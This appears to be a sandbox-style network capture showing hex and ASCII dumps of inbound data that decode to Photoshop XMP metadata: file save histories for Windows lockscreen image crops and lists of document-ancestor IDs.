2017-03-06T13:40:08-08:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved 2017-03-07T11:01:48-08:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\MakeWhatsNext\CHOSEN\MS-MakeWhatsNext_GettyI
2022-07-20 13:44:17 UTC	890	IN	Data Raw: 33 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 42 69 6e 67 41 74 57 6f 72 6b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 33 37 31 34 34 32 39 33 5f 31 30 38 30 78 31 39 32 30 30 39 39 45 36 30 37 34 41 43 31 42 42 33 35 41 31 34 38 39 37 31 46 39 34 30 45 42 30 41 30 44 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 31 32 54 31 35 3a 35 38 3a 33 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e Data Ascii: 35-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_BingAtWork_GettyImages-137144293_1080x1920099E6074AC1BB35A148971F940EB0A0D.psb saved 2017-04-12T15:58:30-07:00 File C:\Users\v-lizagh\MS\Windows10\Bin
2022-07-20 13:44:17 UTC	914	IN	Data Raw: 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 32 54 31 35 3a 33 31 3a 31 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 47 65 6e 65 72 61 6c 2d 53 70 6f 74 6c 69 67 68 74 5f 51 34 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 47 65 6e 65 72 69 63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 35 37 35 38 37 36 33 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 32 54 31 36 3a 30 38 3a 34 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 Data Ascii: sd saved 2017-05-12T15:31:15-07:00 File C:\Users\v-lizagh\MS\Windows10\Office\Office-General-Spotlight_Q4\Crops\OfficeGeneric_GettyImages-175758763_1080x1920.psd saved 2017-05-12T16:08:44-07:00 File C:\Users\v-lizagh\MS\Windows10\Office\Of
2022-07-20 13:44:17 UTC	961	IN	Data Raw: 61 79 53 6f 75 74 68 41 66 72 69 63 61 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 35 37 33 34 39 35 33 30 37 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 32 35 54 32 32 3a 30 35 3a 35 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 44 72 6f 70 62 6f 78 20 28 41 71 75 65 6e 74 29 5c 52 68 79 73 5c 57 69 6e 64 6f 77 73 31 30 2d 4c 6f 63 6b 5c 4c 6f 63 6b 32 30 31 37 5f 42 61 74 63 68 35 5f 53 41 2d 41 46 5c 43 72 6f 70 73 5c 4c 6f 63 6b 32 30 31 37 2d 42 35 5f 41 46 5f 4e 69 67 68 74 43 61 70 65 74 6f 77 6e 53 6f 75 74 68 41 66 72 69 63 61 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 38 36 38 31 35 33 39 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 Data Ascii: aySouthAfrica_shutterstock_573495307_1080x1920.jpg saved 2017-05-25T22:05:56-07:00 File C:\Users\v-lizagh\Dropbox (Aquent)\Rhys\Windows10-Lock\Lock2017_Batch5_SA-AF\Crops\Lock2017-B5_AF_NightCapetownSouthAfrica_GettyImages-518681539_1080x1920.jpg
2022-07-20 13:44:17 UTC	1017	IN	Data Raw: 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 42 61 63 6b 54 6f 53 63 68 6f 6f 6c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 33 36 32 34 38 32 35 30 5f 31 30 38 30 78 31 39 32 30 45 36 34 30 41 36 44 32 36 45 32 34 30 46 39 38 41 30 46 34 37 42 35 45 39 33 41 43 46 33 32 45 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 31 31 54 31 33 3a 31 31 3a 31 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 Data Ascii: Adobe\Adobe Photoshop CC 2017\AutoRecover\_MIT-BackToSchool_GettyImages-136248250_1080x1920E640A6D26E240F98A0F47B5E93ACF32E.psb saved 2017-07-11T13:11:17-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved 2017-07
2022-07-20 13:44:17 UTC	1065	IN	Data Raw: 6b 32 30 31 37 5f 42 61 74 63 68 36 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4c 6f 63 6b 32 30 31 37 2d 42 36 5f 46 61 6c 6c 47 6c 65 6e 41 66 66 72 69 63 53 63 6f 74 6c 61 6e 64 5f 35 30 30 70 78 2d 31 37 33 33 31 38 34 37 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 30 32 54 31 36 3a 32 37 3a 31 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 Data Ascii: k2017_Batch6\_CHOSEN\Crops\Lock2017-B6_FallGlenAffricScotland_500px-17331847_1080x1920.jpg saved 2017-08-02T16:27:12-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C3
2022-07-20 13:44:17 UTC	1113	IN	Data Raw: 31 33 31 32 39 5f 31 30 38 30 78 31 39 32 30 31 37 44 42 36 38 31 46 37 30 45 32 35 38 30 46 41 32 41 44 45 31 38 43 30 41 35 39 30 37 32 31 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 32 39 54 31 35 3a 34 34 3a 34 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 6f 72 74 61 6e 61 5c 4d 6f 74 69 76 61 74 69 6f 6e 61 6c 2d 43 61 6d 70 61 69 67 6e 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 51 75 6f 74 65 44 61 79 48 69 73 74 6f 72 79 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 36 36 30 31 33 31 32 39 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 32 39 54 31 35 3a 34 38 3a 32 31 2d 30 37 Data Ascii: 13129_1080x192017DB681F70E2580FA2ADE18C0A590721.psb saved 2017-08-29T15:44:41-07:00 File C:\Users\v-lizagh\MS\Windows10\Cortana\Motivational-Campaign\Chosen\Crops\QuoteDayHistory_GettyImages-466013129_1080x1920.jpg saved 2017-08-29T15:48:21-07
2022-07-20 13:44:17 UTC	1200	IN	Data Raw: 26 23 78 41 3b 32 30 31 37 2d 31 30 2d 32 30 54 31 38 3a 30 38 3a 33 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 30 2d 32 30 54 31 38 3a 33 31 3a 33 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 30 2d 32 33 54 31 36 3a 32 31 3a 35 36 2d 30 37 3a 30 30 26 23 78 39 3b Data Ascii: 2017-10-20T18:08:37-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved 2017-10-20T18:31:31-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved 2017-10-23T16:21:56-07:00
2022-07-20 13:44:17 UTC	1248	IN	Data Raw: 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 32 38 54 31 34 3a 34 36 3a 32 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 30 34 54 31 31 3a 32 35 3a 35 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 30 34 Data Ascii: PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 2017-11-28T14:46:27-08:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved 2017-12-04T11:25:56-08:00 File Lockscreen_1080x1920_Portrait.psd opened 2017-12-04
2022-07-20 13:44:17 UTC	1303	IN	Data Raw: 3a 35 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 31 34 54 31 32 3a 32 34 3a 30 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 31 34 54 31 32 3a 32 34 3a 34 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 43 Data Ascii: :50-08:00 File Lockscreen_1080x1920_Portrait.psd opened 2017-12-14T12:24:01-08:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved 2017-12-14T12:24:49-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\C
2022-07-20 13:44:17 UTC	1375	IN	Data Raw: 6f 76 65 72 5c 5f 4c 6f 63 6b 32 30 31 37 2d 42 31 30 5f 41 6d 75 73 65 6d 65 6e 74 50 61 72 6b 53 61 6e 74 61 4d 6f 6e 69 63 61 43 41 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 34 38 33 30 34 34 34 5f 31 30 38 30 78 31 39 32 30 44 42 34 30 41 31 42 43 33 42 46 33 34 45 34 33 32 39 34 45 38 30 31 31 41 43 38 42 31 37 34 33 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 31 39 54 31 31 3a 34 33 3a 34 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 45 64 67 65 47 72 6f 77 74 68 49 6d 61 67 65 73 5c 4c 6f 63 6b 32 30 31 37 2d 42 61 74 63 68 31 30 5f 50 4f 41 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4c 6f 63 6b 32 30 31 37 2d 42 Data Ascii: over\_Lock2017-B10_AmusementParkSantaMonicaCA_GettyImages-174830444_1080x1920DB40A1BC3BF34E43294E8011AC8B1743.psb saved 2018-01-19T11:43:40-08:00 File C:\Users\v-lizagh\MS\Windows10\BingEdgeGrowthImages\Lock2017-Batch10_POA\CHOSEN\Crops\Lock2017-B
2022-07-20 13:44:17 UTC	1391	IN	Data Raw: 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 31 35 54 31 35 3a 31 35 3a 32 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 48 6f 6d 65 77 6f 72 6b 41 69 64 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 49 6e 74 6c 5f 48 6f 6d 65 77 6f 72 6b 41 69 64 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 30 38 31 32 39 36 31 38 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 31 35 54 31 35 3a 31 36 3a 30 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e Data Ascii: ed 2018-02-15T15:15:28-08:00 File C:\Users\v-lizagh\MS\Windows10\MIT-International\HomeworkAid\CHOSEN\Crops\MIT-Intl_HomeworkAid_GettyImages-108129618_1080x1920.psd saved 2018-02-15T15:16:05-08:00 File C:\Users\v-lizagh\MS\Windows10\MIT-In
2022-07-20 13:44:17 UTC	1462	IN	Data Raw: 49 6d 61 67 65 73 2d 31 38 35 35 32 34 31 33 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 30 37 54 31 38 3a 33 37 3a 32 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 4d 4d 58 5c 42 61 74 63 68 33 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 4d 58 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 32 31 34 35 34 33 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 30 37 54 31 38 3a 33 38 3a 30 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 Data Ascii: Images-185524131_1080x1920.jpg saved 2018-03-07T18:37:23-08:00 File C:\Users\v-lizagh\MS\Windows10\Windows\MMX\Batch3\CHOSEN\Crops\MMX_GettyImages-502145430_1080x1920.jpg saved 2018-03-07T18:38:07-08:00 File C:\Users\v-lizagh\AppData\Roami
2022-07-20 13:44:17 UTC	1550	IN	Data Raw: 41 45 43 33 34 33 46 34 41 42 42 45 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 32 31 44 33 37 42 32 38 45 36 41 31 43 38 31 42 36 46 33 42 35 46 33 44 39 37 30 33 46 39 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 32 31 45 32 45 33 45 33 38 45 43 34 31 31 33 30 42 35 42 30 46 41 34 36 39 39 42 37 35 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 32 32 30 35 35 35 38 42 34 36 39 31 32 35 43 35 34 30 33 32 34 38 46 39 46 38 46 39 42 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 32 32 42 37 38 30 35 46 43 41 36 34 39 33 33 43 43 46 36 32 31 32 31 34 30 32 44 32 39 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 32 32 43 31 33 33 45 44 45 31 45 33 43 34 37 45 44 45 43 39 39 34 42 Data Ascii: AEC343F4ABBED</rdf:li> <rdf:li>021D37B28E6A1C81B6F3B5F3D9703F9B</rdf:li> <rdf:li>021E2E3E38EC41130B5B0FA4699B750A</rdf:li> <rdf:li>02205558B469125C5403248F9F8F9B8B</rdf:li> <rdf:li>022B7805FCA64933CCF62121402D2912</rdf:li> <rdf:li>022C133EDE1E3C47EDEC994B
2022-07-20 13:44:17 UTC	1662	IN	Data Raw: 44 35 34 30 37 34 36 38 31 31 45 44 36 36 38 37 41 42 46 46 37 41 37 43 38 41 34 45 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 44 37 46 31 36 34 37 35 34 37 34 31 36 31 31 36 41 36 45 44 36 44 39 30 43 37 45 34 32 39 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 44 38 31 30 43 31 31 46 44 37 38 39 37 36 46 30 43 35 45 32 34 41 39 39 36 36 42 42 37 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 44 38 44 34 34 43 42 39 42 41 39 37 34 36 31 32 35 34 33 45 46 45 32 33 39 39 39 44 34 42 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 44 38 45 32 45 45 37 36 42 33 44 39 39 35 43 30 33 32 42 46 37 35 34 41 46 43 42 43 33 45 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 44 39 36 34 45 32 39 Data Ascii: D540746811ED6687ABFF7A7C8A4ED</rdf:li> <rdf:li>0D7F1647547416116A6ED6D90C7E429C</rdf:li> <rdf:li>0D810C11FD78976F0C5E24A9966BB702</rdf:li> <rdf:li>0D8D44CB9BA974612543EFE23999D4B4</rdf:li> <rdf:li>0D8E2EE76B3D995C032BF754AFCBC3E7</rdf:li> <rdf:li>0D964E29
2022-07-20 13:44:17 UTC	1717	IN	Data Raw: 38 46 31 45 33 32 45 30 37 46 35 34 37 33 36 32 34 41 32 33 46 42 41 32 42 42 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 32 35 37 44 44 37 46 34 31 34 31 31 44 36 36 44 43 42 45 33 33 39 45 42 44 31 42 37 43 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 32 35 38 46 45 36 44 45 44 41 32 34 38 41 39 42 35 42 44 36 42 37 37 46 36 42 45 45 35 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 32 35 45 41 44 38 39 39 35 36 34 39 45 42 36 36 41 38 34 42 36 32 30 39 37 32 31 46 37 42 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 32 35 46 43 41 46 42 30 35 31 33 42 44 39 46 38 36 32 45 36 41 36 36 42 30 41 31 34 43 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 32 36 30 32 43 30 37 39 34 Data Ascii: 8F1E32E07F5473624A23FBA2BB1</rdf:li> <rdf:li>1257DD7F41411D66DCBE339EBD1B7CAC</rdf:li> <rdf:li>1258FE6DEDA248A9B5BD6B77F6BEE579</rdf:li> <rdf:li>125EAD8995649EB66A84B6209721F7B4</rdf:li> <rdf:li>125FCAFB0513BD9F862E6A66B0A14CA9</rdf:li> <rdf:li>12602C0794
2022-07-20 13:44:17 UTC	1797	IN	Data Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 45 36 44 31 31 35 32 31 38 46 32 41 36 37 44 35 33 32 36 44 46 33 42 38 32 32 45 44 32 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 45 37 33 32 42 46 44 38 30 34 46 39 42 35 36 44 36 33 46 38 39 33 44 36 31 31 46 45 41 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 45 37 44 42 38 35 46 43 31 34 39 44 44 31 44 42 45 46 38 33 41 33 37 34 45 31 36 34 36 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 45 38 38 30 31 45 45 46 34 36 31 38 35 32 30 33 43 31 35 30 30 31 38 35 36 43 31 46 42 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 45 38 41 34 46 44 44 45 43 41 30 31 39 31 33 32 45 31 44 31 37 32 42 34 36 36 33 35 31 32 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 Data Ascii: i> <rdf:li>1E6D115218F2A67D5326DF3B822ED2B3</rdf:li> <rdf:li>1E732BFD804F9B56D63F893D611FEA72</rdf:li> <rdf:li>1E7DB85FC149DD1DBEF83A374E16460A</rdf:li> <rdf:li>1E8801EEF46185203C15001856C1FB15</rdf:li> <rdf:li>1E8A4FDDECA019132E1D172B46635123</rdf:li> <r
2022-07-20 13:44:17 UTC	1813	IN	Data Raw: 64 66 3a 6c 69 3e 32 39 35 31 37 30 39 45 46 41 34 31 33 36 36 33 33 43 37 30 45 35 33 35 41 34 30 41 32 31 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 39 35 41 44 44 41 36 38 41 34 31 42 42 31 38 31 32 32 42 43 46 30 44 32 44 43 45 43 38 41 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 39 36 31 43 46 34 38 44 33 37 42 30 42 45 44 35 38 39 36 32 34 42 32 43 43 43 31 30 44 39 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 39 36 33 44 43 39 43 45 35 30 32 45 45 42 37 45 38 38 39 33 41 39 31 38 38 37 37 42 43 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 39 36 43 43 31 35 30 42 46 35 31 45 36 42 42 41 32 30 30 31 39 31 44 38 35 42 32 38 35 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 Data Ascii: df:li>2951709EFA4136633C70E535A40A2152</rdf:li> <rdf:li>295ADDA68A41BB18122BCF0D2DCEC8A3</rdf:li> <rdf:li>2961CF48D37B0BED589624B2CCC10D98</rdf:li> <rdf:li>2963DC9CE502EEB7E8893A918877BC52</rdf:li> <rdf:li>296CC150BF51E6BBA200191D85B2852F</rdf:li> <rdf:li
2022-07-20 13:44:17 UTC	1868	IN	Data Raw: 3a 6c 69 3e 32 45 35 35 30 42 34 33 38 43 44 35 38 36 45 38 46 35 33 36 41 44 39 42 36 31 44 39 32 46 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 45 35 38 42 39 43 37 33 37 43 42 30 46 37 34 44 41 43 33 30 44 32 41 38 43 31 37 32 44 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 45 35 43 39 32 31 36 39 41 30 39 34 30 31 45 31 45 34 43 30 31 39 46 31 45 32 45 32 42 45 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 45 36 32 30 32 45 42 31 32 36 37 42 31 31 34 37 41 42 43 45 31 41 45 46 31 36 30 35 46 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 45 37 32 37 32 33 42 39 45 44 38 45 44 43 33 38 43 32 37 46 33 38 45 42 44 39 37 45 42 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 Data Ascii: :li>2E550B438CD586E8F536AD9B61D92FB0</rdf:li> <rdf:li>2E58B9C737CB0F74DAC30D2A8C172D3D</rdf:li> <rdf:li>2E5C92169A09401E1E4C019F1E2E2BE0</rdf:li> <rdf:li>2E6202EB1267B1147ABCE1AEF1605F21</rdf:li> <rdf:li>2E72723B9ED8EDC38C27F38EBD97EB4D</rdf:li> <rdf:li>2
2022-07-20 13:44:17 UTC	1932	IN	Data Raw: 34 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 39 46 44 38 33 46 32 43 39 41 35 32 39 38 32 39 33 44 41 44 39 36 42 34 42 39 31 35 37 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 41 30 37 41 39 32 46 42 39 43 41 42 37 44 42 39 45 42 44 41 39 33 42 42 30 31 45 35 37 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 41 32 43 34 43 35 36 33 46 30 45 36 39 33 41 37 35 45 30 42 32 35 30 38 30 38 42 30 33 43 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 41 33 33 42 39 31 39 39 42 39 46 37 30 38 36 45 31 33 37 30 36 39 33 41 37 30 31 44 44 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 41 34 36 30 31 37 39 31 36 32 32 38 30 42 41 34 44 45 31 36 38 37 38 45 31 35 32 46 32 45 39 3c 2f 72 Data Ascii: 4C</rdf:li> <rdf:li>39FD83F2C9A5298293DAD96B4B915738</rdf:li> <rdf:li>3A07A92FB9CAB7DB9EBDA93BB01E5736</rdf:li> <rdf:li>3A2C4C563F0E693A75E0B250808B03CE</rdf:li> <rdf:li>3A33B9199B9F7086E1370693A701DD7A</rdf:li> <rdf:li>3A460179162280BA4DE16878E152F2E9</r
